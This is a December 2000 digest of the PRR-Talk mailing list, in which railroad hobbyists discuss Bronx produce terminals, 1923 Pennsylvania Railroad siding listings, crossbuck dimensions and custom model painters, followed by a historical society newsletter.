Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.

,

>

> I was delighted to see the re-print in the latest KEYSTONE of John

Crosby's

> great piece on his last trip on a T1.  Anything over 100 mph in steam is

rare

> and wonderful, and to think that (at least once) a T1 was given the chance

to do

> what it was designed to do is a treat.  While I'm not a usual fan of

re-prints,

> Mr. Blardone chose well.







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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 00:20:25 -0500

From: Mike A <n2icv@home.com>

Subject: Re: [PRR] PFE question



I am a truck driver and have been to both of them . You are right that Oak Point



is near Hunt's Point . That was was the yard that I was talking about .(Just

could not think of the name. THANKS)But its hard in beleve that Bronx Terminal

Market is bigger then Hunt's Point.

Gregg Mahlkov wrote:



> Doug and list:

>

> THANKS! It indeed was the Bronx Terminal Market I was thinking of, not

> Hunt's Point.

> It's been 40 years.

>

> Gregg Mahlkov

>

> ----- Original Message -----

> From: "Doug and Marianne" <babal@slip.net>

> To: "Mike A" <n2icv@home.com>; "PRR-Talk" <PRR-Talk@dsop.com>

> Sent: Wednesday, December 13, 2000 1:39 AM

> Subject: Re: [PRR] PFE question

>

> > Gize:

> >

> > I believe this statements about Hunt's Point and the NH/NYC are not

> correct.

> > The largest produce market in New York City was the Bronx Terminal Market

> > and it was located in the western Bronx and was served directly by the New

> > York Central.  It was located in the shadow of Yankee Stadium.  The New

> > Haven yard in the east Bronx near the Hunt's Point neighborhood was Oak

> > Point yard (still in operation).  Oak Point was a classification yard and

> I

> > do not believe that it had a produce market associated with it.

> >

> > Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

> > along the Harlem River in the southwest Bronx and they may have also

> > delivered cars to the Bronx Terminal Market via their carfloat operations.

> >

> > Doug Nelson

> > Mill Valley, CA

> > babal@slip.net

> >

> > ----------

> > >From: Mike A <n2icv@home.com>

> > >To: PRR-Talk <PRR-Talk@dsop.com>

> > >Subject: Re: [PRR] PFE question

> > >Date: Tue, Dec 12, 2000, 2:08 PM

> > >

> >

> > > "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

> > > "Each railroad did have its own =

> > > perishable terminal in the Big Apple, but it was the NYC, with its =

> > > direct rail access to the Bronx and Hunt's Point that was the big =

> > > player, not the Erie."

> > >

> > > Not so it was the New Haven RR that had access to Hunt's Point and the

> east

> > > side of the Bronx via the The New York Connecting RR . By the way is now

> > > Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

> > > rebuilt and is also served by CP ,CN , P&W,and the NY&A.

> > >

> > >

> > > -----------------------------------------------------------------------

> > > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > > -----------------------------------------------------------------------

> > > For assistance with the list "PRR-Talk", send the message "help" to

> > > "listserv@dsop.com".

> > >

> >

> > -----------------------------------------------------------------------

> > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

> >





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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 00:20:39 -0500

From: Mike A <n2icv@home.com>

Subject: Re: [PRR] PFE question



I am a truck driver and have been to both of them . You are right that Oak Point



is near Hunt's Point . That was was the yard that I was talking about .(Just

could not think of the name. THANKS)But its hard in beleve that Bronx Terminal

Market is bigger then Hunt's Point.

Gregg Mahlkov wrote:



> Doug and list:

>

> THANKS! It indeed was the Bronx Terminal Market I was thinking of, not

> Hunt's Point.

> It's been 40 years.

>

> Gregg Mahlkov

>

> ----- Original Message -----

> From: "Doug and Marianne" <babal@slip.net>

> To: "Mike A" <n2icv@home.com>; "PRR-Talk" <PRR-Talk@dsop.com>

> Sent: Wednesday, December 13, 2000 1:39 AM

> Subject: Re: [PRR] PFE question

>

> > Gize:

> >

> > I believe this statements about Hunt's Point and the NH/NYC are not

> correct.

> > The largest produce market in New York City was the Bronx Terminal Market

> > and it was located in the western Bronx and was served directly by the New

> > York Central.  It was located in the shadow of Yankee Stadium.  The New

> > Haven yard in the east Bronx near the Hunt's Point neighborhood was Oak

> > Point yard (still in operation).  Oak Point was a classification yard and

> I

> > do not believe that it had a produce market associated with it.

> >

> > Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

> > along the Harlem River in the southwest Bronx and they may have also

> > delivered cars to the Bronx Terminal Market via their carfloat operations.

> >

> > Doug Nelson

> > Mill Valley, CA

> > babal@slip.net

> >

> > ----------

> > >From: Mike A <n2icv@home.com>

> > >To: PRR-Talk <PRR-Talk@dsop.com>

> > >Subject: Re: [PRR] PFE question

> > >Date: Tue, Dec 12, 2000, 2:08 PM

> > >

> >

> > > "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

> > > "Each railroad did have its own =

> > > perishable terminal in the Big Apple, but it was the NYC, with its =

> > > direct rail access to the Bronx and Hunt's Point that was the big =

> > > player, not the Erie."

> > >

> > > Not so it was the New Haven RR that had access to Hunt's Point and the

> east

> > > side of the Bronx via the The New York Connecting RR . By the way is now

> > > Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

> > > rebuilt and is also served by CP ,CN , P&W,and the NY&A.

> > >

> > >

> > > -----------------------------------------------------------------------

> > > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > > -----------------------------------------------------------------------

> > > For assistance with the list "PRR-Talk", send the message "help" to

> > > "listserv@dsop.com".

> > >

> >

> > -----------------------------------------------------------------------

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> >

> >





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!!NEXT MESSAGE!!
Date: Wed, 13 Dec 2000 22:09:21 -0800

Subject: Re: [PRR] PFE question

From: "Doug and Marianne" <babal@slip.net>



Mike: 



What kind of product did/do you carry to Oak Point?



I think that the Bronx Terminal Market is gone.  Does anyone out there know.

My memory of it is seeing it going to Yankee Stadium when I was a kid.



Doug N.







----------

>From: Mike A <n2icv@home.com>

>To: Gregg Mahlkov <mahlkov@gtcom.net>

>Cc: Doug and Marianne <babal@slip.net>, PRR-Talk <PRR-Talk@dsop.com>

>Subject: Re: [PRR] PFE question

>Date: Wed, Dec 13, 2000, 9:20 PM

>



> I am a truck driver and have been to both of them . You are right that Oak

Point

>

> is near Hunt's Point . That was was the yard that I was talking about .(Just

> could not think of the name. THANKS)But its hard in beleve that Bronx Terminal

> Market is bigger then Hunt's Point.

> Gregg Mahlkov wrote:

>

>> Doug and list:

>>

>> THANKS! It indeed was the Bronx Terminal Market I was thinking of, not

>> Hunt's Point.

>> It's been 40 years.

>>

>> Gregg Mahlkov

>>

>> ----- Original Message -----

>> From: "Doug and Marianne" <babal@slip.net>

>> To: "Mike A" <n2icv@home.com>; "PRR-Talk" <PRR-Talk@dsop.com>

>> Sent: Wednesday, December 13, 2000 1:39 AM

>> Subject: Re: [PRR] PFE question

>>

>> > Gize:

>> >

>> > I believe this statements about Hunt's Point and the NH/NYC are not

>> correct.

>> > The largest produce market in New York City was the Bronx Terminal Market

>> > and it was located in the western Bronx and was served directly by the New

>> > York Central.  It was located in the shadow of Yankee Stadium.  The New

>> > Haven yard in the east Bronx near the Hunt's Point neighborhood was Oak

>> > Point yard (still in operation).  Oak Point was a classification yard and

>> I

>> > do not believe that it had a produce market associated with it.

>> >

>> > Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

>> > along the Harlem River in the southwest Bronx and they may have also

>> > delivered cars to the Bronx Terminal Market via their carfloat operations.

>> >

>> > Doug Nelson

>> > Mill Valley, CA

>> > babal@slip.net

>> >

>> > ----------

>> > >From: Mike A <n2icv@home.com>

>> > >To: PRR-Talk <PRR-Talk@dsop.com>

>> > >Subject: Re: [PRR] PFE question

>> > >Date: Tue, Dec 12, 2000, 2:08 PM

>> > >

>> >

>> > > "Gregg Mahlkov" <mahlkov@gtcom.net> Wrote

>> > > "Each railroad did have its own =

>> > > perishable terminal in the Big Apple, but it was the NYC, with its =

>> > > direct rail access to the Bronx and Hunt's Point that was the big =

>> > > player, not the Erie."

>> > >

>> > > Not so it was the New Haven RR that had access to Hunt's Point and the

>> east

>> > > side of the Bronx via the The New York Connecting RR . By the way is now

>> > > Amtrak and CSX .With CSX doing Hunt's Point! And the yard there has been

>> > > rebuilt and is also served by CP ,CN , P&W,and the NY&A.

>> > >

>> > >

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>> >

>> >

>

> 



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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 14:13:06 -0500

Subject: [PRR] DSOP.COM, PENNSYRR.COM, ETC Back Online

From: Jerry Britton <jerry@pennsyrr.com>



A power outage caused by the ice storm in the northeast had our sites (web

and lists) offline from 5:50 a.m. this morning until 2 p.m. this afternoon.



All list and web services are now restored to proper function.



Hundreds of thousands in the northeast are still without power. Part of our

area is not expected to have power restored until tomorrow. Guess we got a

little lucky!

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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!!NEXT MESSAGE!!
From: "Bill Bigler" <wbigler@stny.rr.com>

Subject: [PRR] Luxury Train Trips

Date: Thu, 14 Dec 2000 13:33:10 -0500



I've had enough of Amtrak.  I'm looking for information on luxury train

trips (ala American Orient Express) etc, in the US, Canada, Mexico, and

Europe.  If anyone has any info, please contact me off list, unless you

think there would be general interest among listers.  Price is no problem,

although cheaper is certainly better!



Thanks in advance!



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII







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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 04:47:00 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] Philadelphia, 1923 question, another one



Looking at the Kensington and Tacony branch in the

1923 CT1000, one of the sidings is for the "United Gas

Imp. Co. - 25th Ward Works"



I intended to ask the group "What means it 'Imp.' in

this company's name?". But later I was reading the

information for the Chestnut Hill branch, and there

found a couple of sidings for the "United Gas

Improvement Co."



I guess I now know what "Imp." meant, but now I wonder

what does a Gas Improvement Company do? Improve the

gas, apparently, but in what way? Add BTU's to the

gas? Make it smell nicer? Make it less toxic?



Or am I tripping over a grammatical construct? Perhaps

the company offered an "improvement" in the form of a

supply of gas where none had existed before?



Slowly losing my grip on English,

I remain,



















=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 14:51:11 EST

From: TGREGMRTN@aol.com

Subject: [PRR] Some questions regarding PRR's ex_N&W Mallets



Hey Yuze Gize,



I have a couple very specific questions regarding the ex_N&W mallets that the 

Pennsy received.  



Not to diffecult but I need some photo documentation regarding the answers 

supplied.  



One deals with the conversion of the N&W ex-#2000 to PRR #378 (I believe) and 

wheather or not it was refitted with low pressure cylinders as I suspect.



The other two questions I have are regarding the tenders and I think Bruce 

Smith did some extensive documentation on that, I believe.  



If you can help I would appreciate you contacting me ofline and I will be 

more specific...  Work in progress. And again I would need photo 

documentation on the answers. 3^)  Yes, I am working on another project... 

But steanm is not my string point.  



Greg Martin





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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 12:48:28 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] Philadelphia 1923 question 



I thought I had sent this this morning, but it got

lost in the ice (see Jerry's letter) or maybe I got

confused and thought "send" was spelled CANCEL.



Looking at the Kensington and Tacony branch in the

1923 CT1000, I see several sidings for the Dill &

Collins Co. (at locatioon O402, 81.3 and 81.4 miles

from Jersey City Pass. Sta.).



One of those is flagged with a dingbat which refers to

a footnote "Switch connection with P. B. L. RR".



I assume (usual comment about "assume") that PBL

stands for "Philadelphia Belt Line". But it seems that

if that is so, it wasn't much of a belt line as I

don't see any other reference to it in the rest of the

Phila. Term. Div. listings.



Apparently it wasn't affiliated with PRR, for then I

would expect to see a list of Stations and Sidings for

it. Apparently it had no other connections to PRR, or

else I'm just not seeing them.



What was it? Whose was it? Where did it go?



Returning briefly to the weather, it's been no treat

in southwestern PA. Tuesday morning about 68,000

customers with no electricity, due to high winds

Monday night/Tuesday morning. Then last night,

freezing rain, which took out a few thousand more

before the crews had gotten all of the first batch

fixed. More fun than anyone should have.







=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/



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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 04:29:40 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] Philadelphia, 1923 question



Looking in the 1923 CT1000 again. The Kensington and

Tacony branch visits, among other places, the Dill &

Collins Company (location O402, 81.3 to 81.4 miles

from Jersey City Passenger Station).



A footnote says "switch connection to P. B. L. RR".

I'm guessing that the initials PBL stand for

Philadelphia Belt Line. Is that true?



Since that is the only reference to it that I can find

in the book, I take it that:



a) It was not affiliated with PRR, else there would

have been a table of Stations and Sidings located on

the PBL.



b) It wasn't much of a belt line, else there would be

other such footnotes at other locations, which there

are not, or which I have not found.



What else can anyone tell me about the Philadelphia

Belt Line, if that is what it was?







=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

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!!NEXT MESSAGE!!
From: "Doug Day" <dougday@1st.net>

Subject: [PRR] Crossbuck arm length.

Date: Thu, 14 Dec 2000 16:29:27 -0500



Pennsy had their own style of crossbucks.  I have bought some pre printed,

but they seem awfully long.  Also how high above the ground were they and

the other Pennsy signage.  Post sizes, height and etc.



Does anybody have pix of the Pennsy station at Steubenville, OH at the turn

of last century (1900)?



Nit pickin' Pennsy nut.



Doug





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!!NEXT MESSAGE!!
From: "Rob Schoenberg" <robs@actel.com>

Subject: RE: [PRR] Crossbuck arm length.

Date: Thu, 14 Dec 2000 17:06:39 -0500



Doug,



Try http://prr.railfan.net/standards/78300-A.pdf



It has all of the dimensions and other good info for two different types

of PRR crossbucks including different instructions for different states...



Width overall is either 3'4-5/16" or 6'0-1/16" depending upon style and

the center of the X is about 12' off the ground....





There are also other drawings showing other PRR signage.  You can browse

the list at http://prr.railfan.net/standards



There's plenty of nits to pick through!



Also, I'm looking for more PRR standard drawings to add to the site...

If you have any that I can scan, let me know!!!



Rob









> -----Original Message-----

> From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Doug Day

> Sent: Thursday, December 14, 2000 4:29 PM

> To: prr-talk@dsop.com

> Subject: [PRR] Crossbuck arm length.

>

>

> Pennsy had their own style of crossbucks.  I have bought some pre printed,

> but they seem awfully long.  Also how high above the ground were they and

> the other Pennsy signage.  Post sizes, height and etc.

>

> Does anybody have pix of the Pennsy station at Steubenville, OH

> at the turn

> of last century (1900)?

>

> Nit pickin' Pennsy nut.

>

> Doug

>

>

> -----------------------------------------------------------------------

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>





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!!NEXT MESSAGE!!
From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Philadelphia, 1923 question, another one

Date: Thu, 14 Dec 2000 16:00:28 -0700



Well, since gas has NO odor (a mercaptain is added as an odorant to help

distinguish it) and BTU content is somewhat constant, I would suspect that a

gas "improvement" would be laying of gas lines where none were before. But,

(especially back east) gas was usually laid on before electricity, so that

wouldn't make much sense. Now I am getting confused. Might be that the

improvements were to existing lines, in order to upgrade them from older

lines which may have been corroded or otherwise faulty.



Bill Daniels

----- Original Message -----

From: robert netzlof <wb3iqe@rocketmail.com>

To: <prr-talk@dsop.com>

Sent: Thursday, December 14, 2000 5:47 AM

Subject: [PRR] Philadelphia, 1923 question, another one





> Looking at the Kensington and Tacony branch in the

> 1923 CT1000, one of the sidings is for the "United Gas

> Imp. Co. - 25th Ward Works"

>

> I intended to ask the group "What means it 'Imp.' in

> this company's name?". But later I was reading the

> information for the Chestnut Hill branch, and there

> found a couple of sidings for the "United Gas

> Improvement Co."

>

> I guess I now know what "Imp." meant, but now I wonder

> what does a Gas Improvement Company do? Improve the

> gas, apparently, but in what way? Add BTU's to the

> gas? Make it smell nicer? Make it less toxic?

>

> Or am I tripping over a grammatical construct? Perhaps

> the company offered an "improvement" in the form of a

> supply of gas where none had existed before?

>

> Slowly losing my grip on English,

> I remain,

>

>

>

>

>

>

>

>

>

> =====

> Bob Netzlof a/k/a Sweet Old Bob

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Shopping - Thousands of Stores. Millions of Products.

> http://shopping.yahoo.com/

>

> -----------------------------------------------------------------------

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!!NEXT MESSAGE!!
From: "lmatt" <lmatt@alltel.net>

Subject: Re: [PRR] Crossbuck arm length.

Date: Thu, 14 Dec 2000 20:06:19 -0500



I couldn't open your drawings.  What program do I need for that?



Lew Matt

----- Original Message -----

From: "Rob Schoenberg" <robs@actel.com>

To: "Doug Day" <dougday@1st.net>; <prr-talk@dsop.com>

Sent: Thursday, December 14, 2000 5:06 PM

Subject: RE: [PRR] Crossbuck arm length.





> Doug,

>

> Try http://prr.railfan.net/standards/78300-A.pdf

>

> It has all of the dimensions and other good info for two different types

> of PRR crossbucks including different instructions for different states...

>

> Width overall is either 3'4-5/16" or 6'0-1/16" depending upon style and

> the center of the X is about 12' off the ground....

>

>

> There are also other drawings showing other PRR signage.  You can browse

> the list at http://prr.railfan.net/standards

>

> There's plenty of nits to pick through!

>

> Also, I'm looking for more PRR standard drawings to add to the site...

> If you have any that I can scan, let me know!!!

>

> Rob

>

>

>

>

> > -----Original Message-----

> > From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Doug Day

> > Sent: Thursday, December 14, 2000 4:29 PM

> > To: prr-talk@dsop.com

> > Subject: [PRR] Crossbuck arm length.

> >

> >

> > Pennsy had their own style of crossbucks.  I have bought some pre

printed,

> > but they seem awfully long.  Also how high above the ground were they

and

> > the other Pennsy signage.  Post sizes, height and etc.

> >

> > Does anybody have pix of the Pennsy station at Steubenville, OH

> > at the turn

> > of last century (1900)?

> >

> > Nit pickin' Pennsy nut.

> >

> > Doug

> >

> >

> > -----------------------------------------------------------------------

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> > -----------------------------------------------------------------------

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> > "listserv@dsop.com".

> >

>

>

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!!NEXT MESSAGE!!
From: "Keith Pomroy" <keithpomroy@msn.com>

Subject: RE: [PRR] Philadelphia, 1923 question, another one

Date: Thu, 14 Dec 2000 19:36:50 -0500



Folks,

I would wager that the term "improvement" here is used in the real-estate

sense of something (a building, a road, a well, or any other manmade element

fixed to the ground) that "improves" the value of the real estate. So to the

Pennsy (and us), Horseshoe Curve was/is an improvement to an otherwise

unremarkable creek valley. I suspect the company in question was in the

business of laying gaslines rather than actually delivering gas to

customers. Or maybe both, but I would bet that it did some construction.

Keith Pomroy

ed. SNL Real Estate Securities Weekly



-----Original Message-----

From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Bill

Daniels

Sent: Thursday, December 14, 2000 6:00 PM

To: robert netzlof; prr-talk@dsop.com

Subject: Re: [PRR] Philadelphia, 1923 question, another one





Well, since gas has NO odor (a mercaptain is added as an odorant to help

distinguish it) and BTU content is somewhat constant, I would suspect that a

gas "improvement" would be laying of gas lines where none were before. But,

(especially back east) gas was usually laid on before electricity, so that

wouldn't make much sense. Now I am getting confused. Might be that the

improvements were to existing lines, in order to upgrade them from older

lines which may have been corroded or otherwise faulty.



Bill Daniels

----- Original Message -----

From: robert netzlof <wb3iqe@rocketmail.com>

To: <prr-talk@dsop.com>

Sent: Thursday, December 14, 2000 5:47 AM

Subject: [PRR] Philadelphia, 1923 question, another one





> Looking at the Kensington and Tacony branch in the

> 1923 CT1000, one of the sidings is for the "United Gas

> Imp. Co. - 25th Ward Works"

>

> I intended to ask the group "What means it 'Imp.' in

> this company's name?". But later I was reading the

> information for the Chestnut Hill branch, and there

> found a couple of sidings for the "United Gas

> Improvement Co."

>

> I guess I now know what "Imp." meant, but now I wonder

> what does a Gas Improvement Company do? Improve the

> gas, apparently, but in what way? Add BTU's to the

> gas? Make it smell nicer? Make it less toxic?

>

> Or am I tripping over a grammatical construct? Perhaps

> the company offered an "improvement" in the form of a

> supply of gas where none had existed before?

>

> Slowly losing my grip on English,

> I remain,

>

>

>

>

>

>

>

>

>

> =====

> Bob Netzlof a/k/a Sweet Old Bob

>

>

> __________________________________________________

> Do You Yahoo!?

> Yahoo! Shopping - Thousands of Stores. Millions of Products.

> http://shopping.yahoo.com/

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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!!NEXT MESSAGE!!
Date: Thu, 14 Dec 2000 21:23:56 -0600

Subject: [PRR] (PRR)  Custom Painters

From: Jeffrey D Thomas <jthomasmet@juno.com>



Hello All,

  Can anyone on this list recommend a custom painter who is good with PRR

paint jobs. I have an "O" scale FM           

H-20-44 brass model that I need to have painted. If anyone has a company

or individual they have used, let me know. Thanks.



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!!NEXT MESSAGE!!
From: "Andrews, Ted" <Ted.Andrews@Woolpert.com>

Subject: RE: [PRR] (PRR)  Custom Painters

Date: Thu, 14 Dec 2000 22:42:18 -0500



Jeffrey:



Check with Gary Mittner who is on this list. He custom paints brass engines

and specializes in the Pennsy. He also has a website too which displays his

work. The second page of his website has photos of engines that he has

painted. He has done 3 of my PRR engines and I think that his work is tops.

I highly recommend him and am planning on sending him a another H-10 to

paint for me. He does have a back log of other engines to paint, however.

You may want to check with him an when he can get to your engine. 



I would imagine that there are others on the list that custom painty or know

of others who do, but I can vouch for Gary's work as being great.



Gary's website is at:



http://community-2.webtv.net/mittner/THEHOMEOFGARY/





I hope that this helps.





Ted Andrews

Carmel, Indiana 

-----Original Message-----

From: Jeffrey D Thomas [mailto:jthomasmet@juno.com]

Sent: Thursday, December 14, 2000 10:24 PM

To: PRR-TALK@dsop.com

Subject: [PRR] (PRR) Custom Painters





Hello All,

  Can anyone on this list recommend a custom painter who is good with PRR

paint jobs. I have an "O" scale FM           

H-20-44 brass model that I need to have painted. If anyone has a company

or individual they have used, let me know. Thanks.



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!!NEXT MESSAGE!!
From: "Gene Deimling" <endeimling@mindspring.com>

Subject: RE: [PRR] Crossbuck arm length.

Date: Thu, 14 Dec 2000 20:13:01 -0800



Lew:

They are loaded in Acrobat 4.0.  You can download it for free by going to

Adobe.com and navigate to the Acrobat area.

Gene Deimling



-----Original Message-----

From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of lmatt

Sent: Thursday, December 14, 2000 5:06 PM

To: Rob Schoenberg

Cc: prr-talk@dsop.com

Subject: Re: [PRR] Crossbuck arm length.





I couldn't open your drawings.  What program do I need for that?



Lew Matt

----- Original Message -----

From: "Rob Schoenberg" <robs@actel.com>

To: "Doug Day" <dougday@1st.net>; <prr-talk@dsop.com>

Sent: Thursday, December 14, 2000 5:06 PM

Subject: RE: [PRR] Crossbuck arm length.





> Doug,

>

> Try http://prr.railfan.net/standards/78300-A.pdf

>

> It has all of the dimensions and other good info for two different types

> of PRR crossbucks including different instructions for different states...

>

> Width overall is either 3'4-5/16" or 6'0-1/16" depending upon style and

> the center of the X is about 12' off the ground....

>

>

> There are also other drawings showing other PRR signage.  You can browse

> the list at http://prr.railfan.net/standards

>

> There's plenty of nits to pick through!

>

> Also, I'm looking for more PRR standard drawings to add to the site...

> If you have any that I can scan, let me know!!!

>

> Rob

>

>

>

>

> > -----Original Message-----

> > From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Doug Day

> > Sent: Thursday, December 14, 2000 4:29 PM

> > To: prr-talk@dsop.com

> > Subject: [PRR] Crossbuck arm length.

> >

> >

> > Pennsy had their own style of crossbucks.  I have bought some pre

printed,

> > but they seem awfully long.  Also how high above the ground were they

and

> > the other Pennsy signage.  Post sizes, height and etc.

> >

> > Does anybody have pix of the Pennsy station at Steubenville, OH

> > at the turn

> > of last century (1900)?

> >

> > Nit pickin' Pennsy nut.

> >

> > Doug

> >

> >

> > -----------------------------------------------------------------------

> > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

>

>

> -----------------------------------------------------------------------

> Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> -----------------------------------------------------------------------

> For assistance with the list "PRR-Talk", send the message "help" to

> "listserv@dsop.com".







-----------------------------------------------------------------------

Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

-----------------------------------------------------------------------

For assistance with the list "PRR-Talk", send the message "help" to

"listserv@dsop.com".





-----------------------------------------------------------------------

Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

-----------------------------------------------------------------------

For assistance with the list "PRR-Talk", send the message "help" to 

"listserv@dsop.com".



!!NEXT MESSAGE!!
From: "Gene Deimling" <endeimling@mindspring.com>

Subject: RE: [PRR] (PRR)  Custom Painters

Date: Thu, 14 Dec 2000 20:23:11 -0800



Hello:

Try Bob Anson.  He is super.  Even does custom decals if the stock ones

don't fit.

His email is:

ranson1@midsouth.rr.com



Gene Deimling



-----Original Message-----

From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Jeffrey D

Thomas

Sent: Thursday, December 14, 2000 7:24 PM

To: PRR-TALK@dsop.com

Subject: [PRR] (PRR) Custom Painters





Hello All,

  Can anyone on this list recommend a custom painter who is good with PRR

paint jobs. I have an "O" scale FM

H-20-44 brass model that I need to have painted. If anyone has a company

or individual they have used, let me know. Thanks.



-----------------------------------------------------------------------

Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

-----------------------------------------------------------------------

For assistance with the list "PRR-Talk", send the message "help" to

"listserv@dsop.com".





-----------------------------------------------------------------------

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-----------------------------------------------------------------------

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"listserv@dsop.com".



!!NEXT MESSAGE!!
From: "Al Buchan" <abbuchan1@home.com>

Date: Fri, 15 Dec 2000 09:20:04 -0500

Subject: [PRR-FAX] FW: PRRT&HS e-NEWS Number 2 - December 2000



PRRT&HS e-NEWS

Number 2 – December 2000

=====================



A monthly electronic newsletter of the PRRT&HS published for the purpose of

disseminating information on current issues and events pertaining to the

Society’s operations and administration.

=====================



SPECIAL BOOK ON PRR MARINE OPERATIONS

As reported in the November e-NEWS consideration was being given to

publishing a major comprehensive book written by member William H. Moyer on

the role of marine operations on the PRR. Well this project (approximately

300 pages hardbound) is now a “GO.” Chuck Blardone reports – “I'm in a ‘full

speed ahead’ mode.” Chuck is requesting B&W or color prints or slides of PRR

maritime subjects, with captions.  If a contributor's material is selected

and published, he'll receive a complimentary copy of the book.



Here are Chuck’s priorities for pictures (in order):

1) PRR fleet vessels, be they tugs, ferries, steamers, or lesser equipment.

I prefer a variety...several photos of varying classes of vessels, rather

than many of one type, while ignoring lesser subjects.  Obviously larger

vessels should receive more attention than barges though, for example.

2) PRR marine facilities in New York, Philadelphia, Baltimore and Great

Lakes. General arrangements (perhaps aerials or panoramas), with a few

detail shots, perhaps of a ferry or steamship in the process of docking.  If

there are photos showing how a major facility changed over the course of

time, choose a spread of photos to illustrate the fact.

3) Crewmen and including people in photos is highly desirable.   Crewmen at

work at their stations.  Passengers disembarking a ferry. Dignitaries posed

alongside something maritime Pennsy.

4) Crisp photos that preferably have not been published before.

5) Color if color adds a dimension.  Most vintage subjects look as good as

color when reproduced in black-and-white.  Should the movie “The Train,”

with Burt Lancaster have been produced in color?  Absolutely not!

6) Give me as much information as you can as far as captions are concerned.

A few sentences are preferred, not just a place and a date.



It was also previously reported that the book would be ready for the 2001

annual meeting. Because of the complexities of the subject matter and

required editing and additional research it now appears the book will

probably not make that deadline.



CALL FOR ARTICLES – From “Keystone” Editor Chuck Blardone

The volume of article submissions to “The Keystone” varies considerably over

time.  Of late, the flow has been less than is necessary to maintain a

healthy backlog.  Knowing that it takes time from when an article is

conceived and when it comes to “The Keystone” for publication, I like to

keep the pipeline healthy.  I encourage you folks to “take pen in hand”

(more appropriately, keyboard in hand) and tackle a favorite subject for our

quarterly.  There’s a great deal of satisfaction to be gained from

authoring, and research will increase your knowledge of your chosen subject

(and likely, associated subjects) many fold.  Please feel free to contact me

with any questions that you may have.



I am also soliciting photos (or "favorite" photos), with captions, from

members who do not have sufficient material for (or wish to write) an

article. I'd like to run a "Members' Favorite Photos" section in "The

Keystone" (see Winter 2000 edition), as contributions allow.  As always, all

materials loaned to "The Keystone" will be returned undamaged or marked,

concurrent with publication.  We can use color or black-and-white, prints or

slides.



SPECIAL CALL FOR MODELING ARTICLES – Also from Editor Chuck Blardone

Over the past several years there has been a growing voice that “The

Keystone” avoids modeling subjects.  It is true that we have a reluctance to

enter the sphere of, say, “Model Railroader,” but we are receptive to

modeling submissions.  We are certainly willing to produce a magazine that

echoes the desires of our readers (albeit difficult to gauge)! So we are

hereby setting a goal of publishing several superior modeling articles a

year.  However, we’re starting from “ground zero,” and have no such articles

in hand.  The ball’s in your court - we await your serve!



Chuck has prepared two documents to assist prospective authors: “Information

for Authors” and “Keystone Manual of Style. He will supply either or both at

no charge.  If you wish an electronic copy, he will send Word document

attachments as a response to an e-mail to him at blardone@redrose.net .  If

you prefer a hard copy, please send him a 9" x 12" self-addressed, stamped

(77¢ in postage) at 2886 Wimbledon Lane, Lancaster, PA 17601-1454.



LEWISTOWN STATION – From Walt Keely

The major portions of the reconstruction of the first level of the baggage

building and the new construction of the MW (section tool house) type

building are nearly complete. This added space should provide additional

safety to the main building as well as provide a secure and environmentally

friendly storage space for Society materials with easy access.



Walt also added - All orders for microfilm prints are delayed and will be

run in the next two weeks. My sincere apology to those who ordered prints,

but work schedules have not provided sufficient time to get to Lewistown (4

hours driving) and run prints.



